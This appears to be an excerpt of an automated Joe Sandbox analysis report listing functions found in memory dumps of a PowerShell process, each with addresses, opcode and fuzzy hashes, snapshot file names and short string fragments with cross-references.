Instruction Fuzzy Hash: B5014C30904248DFDB389FE4D945AEDBBB6BF84346F200029E502AB695CF799886DB41

Function 0837537F Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323ee748d66b6270dabc9777652591b0a1e13833542a986dc9355a3771f8734a
Instruction ID: 9cacd25bd8acaebd260843da28439e939222d1e2199284dca3e2e52a008c8bc5
Opcode Fuzzy Hash: 323ee748d66b6270dabc9777652591b0a1e13833542a986dc9355a3771f8734a
Instruction Fuzzy Hash: 95015E30900209DFDB289FE4D955AED7BB5BF84305F204429E502EB694CF799846DB01

Function 02F1D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974811756.0000000002F1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f1d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94bd4616bb77516e1802ac1516c043f36b897bc835194e558df2cded02e03b27
Instruction ID: 61f6a3846b62284e601ac74f85fe38c2714a106a1387050b3c5bd780b359d45a
Opcode Fuzzy Hash: 94bd4616bb77516e1802ac1516c043f36b897bc835194e558df2cded02e03b27
Instruction Fuzzy Hash: C4F06272805344AEE7108E1ADDC4B62FFE8EB51674F18C55AEE484A286C3799845CAB1

Function 083755FB Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ff6ea0f4c31c557f6564e409916bfd92ee66bf72d972d0e22b828314b7198ed
Instruction ID: f600fa0076d52df057012d5497c5209348163a1f268dcb59c1b20a9b775ca2d6
Opcode Fuzzy Hash: 4ff6ea0f4c31c557f6564e409916bfd92ee66bf72d972d0e22b828314b7198ed
Instruction Fuzzy Hash: B2F0AF30604209DBDF28DFB4DA56ABD7B75AF80309F20140AE502DF294CF7D9D469B51

Function 08375791 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff00cd9b953d0c600d6093254ed949a936e050687d8cb469d63bb474f6f4dfb2
Instruction ID: ed5850ce5908a6c7c0375d86eb2b5c9a0dc7715dd4aa0c993aff11a9ca8de9a1
Opcode Fuzzy Hash: ff00cd9b953d0c600d6093254ed949a936e050687d8cb469d63bb474f6f4dfb2
Instruction Fuzzy Hash: 17F0E934E042499FCB11D7A9EC409EEBFB9EF81724F4040E9E00497252DB345C45CBA1

Function 08375428 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58749acdf2c57c7ad4003a991a4c308823a1381f931d8d05c777102d98e5022c
Instruction ID: 0781005adf94572eb0265a41966cdac5ebd50fbcb9679fcc3c395b5ca86e911b
Opcode Fuzzy Hash: 58749acdf2c57c7ad4003a991a4c308823a1381f931d8d05c777102d98e5022c
Instruction Fuzzy Hash: B3F01934900109DFCB64DFE4E959AEE7BB5FB88345F204128E402EB254CB799D46DF41

Function 08375500 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 881e91407032302fa06a7c760a3ce22f907340405b5e4be2a00158f0dccb006e
Instruction ID: c118d2ab314744cf2ad05c431c05e06182d321f309fab31e2ddd692c663f8d6b
Opcode Fuzzy Hash: 881e91407032302fa06a7c760a3ce22f907340405b5e4be2a00158f0dccb006e
Instruction Fuzzy Hash: BEF06430900208DFCB689FE4D849AEEBBB5BB88340F200018E802EA254CB785902EF41

Function 083753DC Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccfced55d805b29b82f8ac0639776208cef91b1f29c4e34cd9ee1a91f2767a96
Instruction ID: b831dd1ad830e3641b151da4203703976b9746865f19689f0b7b9686f64bc974
Opcode Fuzzy Hash: ccfced55d805b29b82f8ac0639776208cef91b1f29c4e34cd9ee1a91f2767a96
Instruction Fuzzy Hash: 55F03770900119DFCB689FE4D945AEDBFB6BF88341F201019E502EB265CF795946EF41

Function 083762A0 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f32636e5343dcabdf794d08da838dbab5322b4168c16d0f16fad9d58c4e8113f
Instruction ID: c36929dc76d288904fca7ee3e062aa19000cb9a8163c197c91e1b1c46591f2ee
Opcode Fuzzy Hash: f32636e5343dcabdf794d08da838dbab5322b4168c16d0f16fad9d58c4e8113f
Instruction Fuzzy Hash: D6F01D35A00518AFCF14DFD8D9908EDB7B6FF88320B248159E959B72A0C732AD62DB54

Function 083752F8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6916fadb92d467443426969be0bde2da4ff8a10331e99e62a72fd20fc5f7c4a8
Instruction ID: 1d6500e47f68e7ae1c1605cecb1c3959bdc995199551f94abc8e07820cd6d2c2
Opcode Fuzzy Hash: 6916fadb92d467443426969be0bde2da4ff8a10331e99e62a72fd20fc5f7c4a8
Instruction Fuzzy Hash: 92F06734900209DFDB289FE4D949AEE7FB5FB88341F200018E402EB294CB799986EB40

Function 0837533B Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb216ee238f3c9c41ea8129aaa1a943d263e2c961352e51dfc76c4dfc89e7fbf
Instruction ID: 22b5d0c2ba70c226f7c4718d40274b6c797566e09422abe3478fa6961c12081a
Opcode Fuzzy Hash: eb216ee238f3c9c41ea8129aaa1a943d263e2c961352e51dfc76c4dfc89e7fbf
Instruction Fuzzy Hash: FFF06D30900209DFCB249FE4D909AEDBFB5BF84341F200018E502EB264CF799D46EB00

Function 0837554B Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f0fd4d697c18254341e037a9968bdf4f1899d58af603d172acfd1c199ad043a
Instruction ID: 862837220e21df46e21d76be5e4b1885ec9a45782c0c13dfe62f40a65166bd92
Opcode Fuzzy Hash: 7f0fd4d697c18254341e037a9968bdf4f1899d58af603d172acfd1c199ad043a
Instruction Fuzzy Hash: 5DF0A030A00109DFDB28DFD4E945ABE7BB5BF84345F205008E902EA254CF7C9E06DB81

Function 08375665 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 556c85fc3e2e0c4c34c7cb446dd06fb2910cf0f30ed06491651bd7689c2b7347
Instruction ID: 3e04e4b0ff3f2c79099f384fcc7fd201efa7159f18ab6cf8fc705dcb781ef978
Opcode Fuzzy Hash: 556c85fc3e2e0c4c34c7cb446dd06fb2910cf0f30ed06491651bd7689c2b7347
Instruction Fuzzy Hash: CFF0A030A00109DFDB28DFD4E945AAE7BB5AF88305F204008E502EA254CF789E06DB81

Function 04879A6D Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975243667.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7e5a4aa8cd9c3938828e778e99883bb2be59ff41eaae3b393f4b6b3bd7e9c4b
Instruction ID: 6e098fabfc1431e799a3c0ca349d7c380c77ab1f3a80147628cc66e1599e0799
Opcode Fuzzy Hash: f7e5a4aa8cd9c3938828e778e99883bb2be59ff41eaae3b393f4b6b3bd7e9c4b
Instruction Fuzzy Hash: B1F01C70A4060ACFDB18DBA4D5A5B6E7BB2EF80344F104954D102DF394DA78AD899BC0

Function 0837563D Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff7997a6f2f282fac846c47c0619c97367cbfa967eca17853cc043e73adb60f5
Instruction ID: 4c57fd94baa6c6f9cb62abc37fd92b174620497814d0a46caab811bab7b360d2
Opcode Fuzzy Hash: ff7997a6f2f282fac846c47c0619c97367cbfa967eca17853cc043e73adb60f5
Instruction Fuzzy Hash: 91E0927050020DDBDB289FD4E946ABE7B74AB84305F201419E502EA155CFB89905AF51

Function 083755AD Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e579c3f3a4f0f378799cc17fb5de30b2c739a31eb4a4130a8d4d0b1d4e4c102
Instruction ID: 9904e96be411bfcabd2cec932ed0da0b031e1f7dd466dc03f7f9f1efa891b803
Opcode Fuzzy Hash: 7e579c3f3a4f0f378799cc17fb5de30b2c739a31eb4a4130a8d4d0b1d4e4c102
Instruction Fuzzy Hash: A4E0D87050020DDBDB28DFD4E946AFE7B74BB84305F201405E502EA154CFBC9905DB51

Function 083755D3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e579c3f3a4f0f378799cc17fb5de30b2c739a31eb4a4130a8d4d0b1d4e4c102
Instruction ID: 9904e96be411bfcabd2cec932ed0da0b031e1f7dd466dc03f7f9f1efa891b803
Opcode Fuzzy Hash: 7e579c3f3a4f0f378799cc17fb5de30b2c739a31eb4a4130a8d4d0b1d4e4c102
Instruction Fuzzy Hash: A4E0D87050020DDBDB28DFD4E946AFE7B74BB84305F201405E502EA154CFBC9905DB51

Function 083752EC Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d97e45d18ebe1f0809d90052814f5f61106b664657f2868f03c89fd649651d50
Instruction ID: 5a6ff0a79dec38c36bd3fb90112d8f9b3ead75ec04e1e1dc104e92d7628777f3
Opcode Fuzzy Hash: d97e45d18ebe1f0809d90052814f5f61106b664657f2868f03c89fd649651d50
Instruction Fuzzy Hash: C2D0A77090530FDAD728DF80D2107BE76B06B40249F301409D401F5590DBBC87058A92

Non-executed Functions

Function 076DDBCA Relevance: 27.9, Strings: 22, Instructions: 403COMMON

Download Yara Rule

Strings

tPdq, xrefs: 076DE134
tPdq, xrefs: 076DDD06
(jq, xrefs: 076DE0FA
4'dq, xrefs: 076DDDF6
TQiq, xrefs: 076DDBF2
84#l, xrefs: 076DDCB4
$dq, xrefs: 076DDC34
4'dq, xrefs: 076DE20C
84#l, xrefs: 076DDCBE
84#l, xrefs: 076DE0E2
(jq, xrefs: 076DE15E
$dq, xrefs: 076DDF65
TQiq, xrefs: 076DDDAA
$dq, xrefs: 076DDC13
tPdq, xrefs: 076DDD12
tPdq, xrefs: 076DE039
4'dq, xrefs: 076DDE02
$dq, xrefs: 076DDDC4
$dq, xrefs: 076DDDD4
84#l, xrefs: 076DDFE6
(jq, xrefs: 076DE168
TQiq, xrefs: 076DDD9A

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$84#l$84#l$84#l$84#l$TQiq$TQiq$TQiq$tPdq$tPdq$tPdq$tPdq$$dq$$dq$$dq$$dq$$dq$(jq$(jq$(jq
API String ID: 0-2304801148
Opcode ID: 3060d4ce788cd88aba78307c7762313478bb26016537643421f46c5479679bc8
Instruction ID: 2779f583a2c39db563c167576cdbdda90aa97d857bbad354244c916a51923a21
Opcode Fuzzy Hash: 3060d4ce788cd88aba78307c7762313478bb26016537643421f46c5479679bc8
Instruction Fuzzy Hash: 4BE1C4F1F20206DFDB249F68C9447AAB7A2BF89311F18845AE8069F395C771DD41CBA1

Function 076D0BB0 Relevance: 22.9, Strings: 18, Instructions: 409COMMON

Download Yara Rule

Strings

84#l, xrefs: 076D0CB0
4'dq, xrefs: 076D0E4B
84#l, xrefs: 076D0E24
4'dq, xrefs: 076D0CCC
tPdq, xrefs: 076D0D23
tPdq, xrefs: 076D0E99
tPdq, xrefs: 076D0D2F
(odq, xrefs: 076D1022
4'dq, xrefs: 076D0CD8
tPdq, xrefs: 076D0EA5
4'dq, xrefs: 076D0E3B
84#l, xrefs: 076D0CBA
4'dq, xrefs: 076D0F23
4'dq, xrefs: 076D0F13
4'dq, xrefs: 076D0DAB
(odq, xrefs: 076D102E
84#l, xrefs: 076D0E1A
4'dq, xrefs: 076D0D9B

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (odq$(odq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$84#l$84#l$84#l$84#l$tPdq$tPdq$tPdq$tPdq
API String ID: 0-2604243643
Opcode ID: 30e494d7f4f5b7cb2f53d8fbf8fc5752753046e321054bf844f3165300418551
Instruction ID: aeac42b26eda72934bdef5b0a766fdbb8dbf3c1f02f8ddb118db1fc59d39ccd2
Opcode Fuzzy Hash: 30e494d7f4f5b7cb2f53d8fbf8fc5752753046e321054bf844f3165300418551
Instruction Fuzzy Hash: 68E186B1F20219DFCB18DFA8C455AAEBBB2BF89310F158059E9069B351DB71DC42CB91

Function 076DDEE8 Relevance: 19.0, Strings: 15, Instructions: 295COMMON

Download Yara Rule

Strings

tPdq, xrefs: 076DE134
4'dq, xrefs: 076DE218
(jq, xrefs: 076DE0FA
tPdq, xrefs: 076DE045
tPdq, xrefs: 076DE140
84#l, xrefs: 076DE0EC
4'dq, xrefs: 076DE20C
84#l, xrefs: 076DE0E2
(jq, xrefs: 076DE15E
(jq, xrefs: 076DE19D
$dq, xrefs: 076DDF65
tPdq, xrefs: 076DE039
84#l, xrefs: 076DDFF0
84#l, xrefs: 076DDFE6
(jq, xrefs: 076DE168

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$84#l$84#l$84#l$84#l$tPdq$tPdq$tPdq$tPdq$$dq$(jq$(jq$(jq$(jq
API String ID: 0-644488989
Opcode ID: 6c4233623ba02ec8deff20c2287b8d56074f5360a37c4d8b7144586ad83c0a23
Instruction ID: 6026d727aebeb026f3d90225da9d4d630eabfd4c5ef4d88dbb79046c12e5411e
Opcode Fuzzy Hash: 6c4233623ba02ec8deff20c2287b8d56074f5360a37c4d8b7144586ad83c0a23
Instruction Fuzzy Hash: 9BA1D7B1F201199FCB249F68C8416ABB7E2BF89710F188469ED069F394DB32DD51C7A1

Function 076DCB18 Relevance: 14.1, Strings: 11, Instructions: 378COMMON

Download Yara Rule

Strings

$dq, xrefs: 076DCE31
4'dq, xrefs: 076DCC50
4'dq, xrefs: 076DCE4F
$dq, xrefs: 076DCF46
$dq, xrefs: 076DCC23
$dq, xrefs: 076DCBBE
$dq, xrefs: 076DCE21
4'dq, xrefs: 076DCC44
4'dq, xrefs: 076DCE5B
$dq, xrefs: 076DCDD6
$dq, xrefs: 076DCC13

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-1727510186
Opcode ID: 0e07bb794e42ecd4944f3bd614b65a923366566cafaf52067a8844af8a06f48f
Instruction ID: fbf235be402f7f7e944332725809f51fdb666ab3768e162e8798a5cabf83804f
Opcode Fuzzy Hash: 0e07bb794e42ecd4944f3bd614b65a923366566cafaf52067a8844af8a06f48f
Instruction Fuzzy Hash: 86C1D5B1F2420EDFCB158F79D4506AABBA2AF85351F14C06AD9068B391DB31CD42DBB1

Function 076DE968 Relevance: 12.8, Strings: 10, Instructions: 280COMMON

Download Yara Rule

Strings

$dq, xrefs: 076DE9E5
tPdq, xrefs: 076DEA78
XRiq, xrefs: 076DEAFD
84#l, xrefs: 076DEA17
tPdq, xrefs: 076DEA6C
4'dq, xrefs: 076DECB0
84#l, xrefs: 076DEA21
XRiq, xrefs: 076DEB0D
4'dq, xrefs: 076DECA4
XRiq, xrefs: 076DE9C9

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$84#l$84#l$XRiq$XRiq$XRiq$tPdq$tPdq$$dq
API String ID: 0-380520519
Opcode ID: 68a970e5d36177d2d7fe088fbdceabe125b6c7752f64764cfe3c1d00539032cf
Instruction ID: 99c83cb88118183d2418c74b3fd143fa57499bc92b67d5c1ed7d9defa408df55
Opcode Fuzzy Hash: 68a970e5d36177d2d7fe088fbdceabe125b6c7752f64764cfe3c1d00539032cf
Instruction Fuzzy Hash: AC91E7B1F201159BCB249BB984406BABBA2AFC5311F14C06AD9179F781DF72DD42CBA1

Function 076D2C90 Relevance: 10.3, Strings: 8, Instructions: 319COMMON

Download Yara Rule

Strings

$dq, xrefs: 076D2D09
tPdq, xrefs: 076D2D97
$dq, xrefs: 076D2E06
$dq, xrefs: 076D2E16
$dq, xrefs: 076D2CED
4'dq, xrefs: 076D2E3B
tPdq, xrefs: 076D2D8B
4'dq, xrefs: 076D2E47

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$tPdq$tPdq$$dq$$dq$$dq$$dq
API String ID: 0-4017470009
Opcode ID: 06639b14d618dad1081bab2b71781156ee3673d09594cdb647b78f31774ef5cf
Instruction ID: f6caf68e5208df354ffc2d6123268893af4318bea9eb9c539b9209c6ffcbc0c3
Opcode Fuzzy Hash: 06639b14d618dad1081bab2b71781156ee3673d09594cdb647b78f31774ef5cf
Instruction Fuzzy Hash: 48B1F7B1F242059FCB259F79C4606AABBB2FF89314F14C06AD8168B391DB31DD52CB91

Function 076D3820 Relevance: 10.2, Strings: 8, Instructions: 163COMMON

Download Yara Rule

Strings

$dq, xrefs: 076D386F
$dq, xrefs: 076D384E
$dq, xrefs: 076D38C4
4'dq, xrefs: 076D393A
$dq, xrefs: 076D3911
$dq, xrefs: 076D3905
4'dq, xrefs: 076D392E
$dq, xrefs: 076D38D4

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$$dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-2559950116
Opcode ID: e24d43982284c744ca7c5cf50ef90ebbbbacabc5a2ca33a2ce2ce1e57010df42
Instruction ID: 2e7565401e76d7d3858e50b34e3414b4aa25a902129ce0f9818de7e6f44e433b
Opcode Fuzzy Hash: e24d43982284c744ca7c5cf50ef90ebbbbacabc5a2ca33a2ce2ce1e57010df42
Instruction Fuzzy Hash: 515106B1F25216DFDB244E7AC844666BBA6AF82651F24806AD8078F391DB32CD41C793

Function 076D1450 Relevance: 9.0, Strings: 7, Instructions: 299COMMON

Download Yara Rule

Strings

tPdq, xrefs: 076D1614
XY%l, xrefs: 076D150B
tPdq, xrefs: 076D16A4
tPdq, xrefs: 076D16B0
XY%l, xrefs: 076D1517
4'dq, xrefs: 076D153C
4'dq, xrefs: 076D1530

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$XY%l$XY%l$tPdq$tPdq$tPdq
API String ID: 0-1268639804
Opcode ID: 5e41c4b4ebd298bedc2829d50252f8adf73050e51d0fe412845a47f261458db5
Instruction ID: cecaa047559dcd0649010cc042ab60d50ba99057a58ab4351cff2efb0ffd060c
Opcode Fuzzy Hash: 5e41c4b4ebd298bedc2829d50252f8adf73050e51d0fe412845a47f261458db5
Instruction Fuzzy Hash: C6A14DF1F2425D8FCB299BB89450667FBA2AF87210F15C06AD907CB351DAB5CC41C7A1

Function 076DA740 Relevance: 9.0, Strings: 7, Instructions: 229COMMON

Download Yara Rule

Strings

tPdq, xrefs: 076DA7BD
4'dq, xrefs: 076DA9B1
$dq, xrefs: 076DA784
$dq, xrefs: 076DA778
tPdq, xrefs: 076DA7C9
$dq, xrefs: 076DA752
4'dq, xrefs: 076DA9A7

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$tPdq$tPdq$$dq$$dq$$dq
API String ID: 0-3419624917
Opcode ID: ba3ef02b7ed8be9d99a36938ab383d085e885d38e56f18ea23edf1c90524bb3d
Instruction ID: 560061ac7d3af7864dd557549e9a7b399f529b49f967a9487081cddf456673b8
Opcode Fuzzy Hash: ba3ef02b7ed8be9d99a36938ab383d085e885d38e56f18ea23edf1c90524bb3d
Instruction Fuzzy Hash: 54713CB6B282158FCB254BB9980027BFBE2AFC1611F24C06AD946CB791DB31CD46C791

Function 076D0148 Relevance: 7.8, Strings: 6, Instructions: 283COMMON

Download Yara Rule

Strings

XY%l, xrefs: 076D0203
4'dq, xrefs: 076D0229
4'dq, xrefs: 076D03E5
4'dq, xrefs: 076D03D9
XY%l, xrefs: 076D020F
4'dq, xrefs: 076D0235

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq$XY%l$XY%l
API String ID: 0-3296372098
Opcode ID: 5a8978eabff5a95ae5a9b29764eda936751b7db8b09fb32b13f070d07ec4a724
Instruction ID: 87f7d05574a8f70593c8c94d72ade7f2f3b11b2dd0311d6cb8a427a44e05509a
Opcode Fuzzy Hash: 5a8978eabff5a95ae5a9b29764eda936751b7db8b09fb32b13f070d07ec4a724
Instruction Fuzzy Hash: 5691EAB1F2521ACFCB15CF78D5446ABFBA2AFC5210F2580AAD906CB351EA71CD41C7A1

Function 076D0B90 Relevance: 7.7, Strings: 6, Instructions: 246COMMON

Download Yara Rule

Strings

84#l, xrefs: 076D0CB0
4'dq, xrefs: 076D0CCC
tPdq, xrefs: 076D0D23
tPdq, xrefs: 076D0E99
84#l, xrefs: 076D0E1A
4'dq, xrefs: 076D0E3B

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$84#l$84#l$tPdq$tPdq
API String ID: 0-962716141
Opcode ID: 2247dd09a3afad212fe0387ad1a579736f30bafcd3bdbc51cb67556aadf70910
Instruction ID: 8e55d45230929b12c138f977286fe551f16b3ccf448b556436e7cddc425c774e
Opcode Fuzzy Hash: 2247dd09a3afad212fe0387ad1a579736f30bafcd3bdbc51cb67556aadf70910
Instruction Fuzzy Hash: 6391B0B5E20219DFDB24CF68C554AAEFBB2BF49310F19805AE9069B351C771EC81CB91

Function 076DE5D2 Relevance: 7.7, Strings: 6, Instructions: 172COMMON

Download Yara Rule

Strings

$dq, xrefs: 076DE63C
$dq, xrefs: 076DE7FA
84#l, xrefs: 076DE6EA
$dq, xrefs: 076DE61B
4'dq, xrefs: 076DE872
tPdq, xrefs: 076DE73A

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$84#l$tPdq$$dq$$dq$$dq
API String ID: 0-2962247604
Opcode ID: 23c2de052f534d17da1c4134affa45f5acf1a7660ddcc84d2a32bb10938ed9a5
Instruction ID: b2b000e30debecf1e997d0ba925413bac0c7a116f63c25dd0ae0b854eeadc50c
Opcode Fuzzy Hash: 23c2de052f534d17da1c4134affa45f5acf1a7660ddcc84d2a32bb10938ed9a5
Instruction Fuzzy Hash: D351A0F0F2024ADFDB248E64C9447BA77A2FB45751F288456E802AF290C737ED81CB61

Function 076DE95B Relevance: 6.4, Strings: 5, Instructions: 120COMMON

Download Yara Rule

Strings

$dq, xrefs: 076DE9E5
XRiq, xrefs: 076DEAFD
84#l, xrefs: 076DEA17
tPdq, xrefs: 076DEA6C
XRiq, xrefs: 076DE9C9

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 84#l$XRiq$XRiq$tPdq$$dq
API String ID: 0-520785084
Opcode ID: 3da96f9d9e3619c65c60a1d045d9baf7360546a070a2472e71b3826dd1e0c24c
Instruction ID: 1dde14a981919058f2cf45b9b44a844e885824b2a6f15a1c05ddd1015deaafa1
Opcode Fuzzy Hash: 3da96f9d9e3619c65c60a1d045d9baf7360546a070a2472e71b3826dd1e0c24c
Instruction Fuzzy Hash: 8341A3B1E21216DBCB24CF69C544AA9BBF2BB89310F18C199E4066F395C773ED81CB51

